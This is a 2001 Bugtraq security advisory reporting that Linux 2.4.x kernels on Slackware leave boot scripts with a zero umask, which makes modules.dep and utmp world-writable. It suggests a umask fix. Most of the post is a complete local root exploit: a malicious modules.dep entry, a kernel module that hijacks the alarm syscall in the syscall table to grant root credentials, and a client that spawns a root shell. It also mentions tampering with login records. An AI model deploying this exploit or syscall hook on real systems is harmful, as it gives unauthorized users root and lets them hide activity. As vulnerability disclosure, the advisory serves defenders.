Date: Mon, 16 Jul 2001 09:53:01 -0500 (EST)
From: josh@pulltheplug.com
To: bugtraq@securityfocus.com
Subject: 2.4.x/Slackware Init script vulnerability
I posted this to the linux kernel mailing last Friday, July 13th 2001:
Submitted by : Josh (josh@pulltheplug.com), lockdown
(lockdown@lockeddown.net) on July 16th, 2001
Vulnerability : /lib/modules/2.4.5/modules.dep
Tested On : Slackware 8.0. 2.4.5
Local : Yes
Remote : No
Temporary Fix : umask 022 at the top of all your startup scripts
Target : root
Big thanks to : slider, lamagra, zen-parse
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
cryptix, s0ttle, xphantom, qtip, tirancy, Loki,
falcon-networks.com.
The 2.4.x kernels starting with 2.4.3 (i think) have, after
load, left a umask of 0000. This forces any files created in the bootup
scripts, without the command `umask 022` issued to be world writeable.
In slackware, files include /var/run/utmp and /var/run/gpm.pid. This same
vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep
world writeable. With this file world writeable, all an intruder need do is
put something like the following in /lib/modules/`uname -r`/modules.dep
assuming the system's startup scripts modprobe lp:
/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o
/tmp/alarm.o:
where the alarm.o module is:
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <linux/sched.h>
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>
extern void* sys_call_table[];
unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);
unsigned int hacked_alarm(unsigned int seconds)
{
if(seconds == 454) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
return old_alarm(seconds);
}
int init_module(void) {
old_alarm=sys_call_table[SYS_alarm];
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;
}
void cleanup_module(void) {
sys_call_table[SYS_alarm] = old_alarm;
}
make a client:
#include <stdio.h>
#include <unistd.h>
int main(void)
{
alarm(454);
execl("/bin/sh", "sh", NULL);
}
which will, when the module is loaded, execute a shell as root.
And of course with /var/run/utmp writeable, users can delete or in
other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.
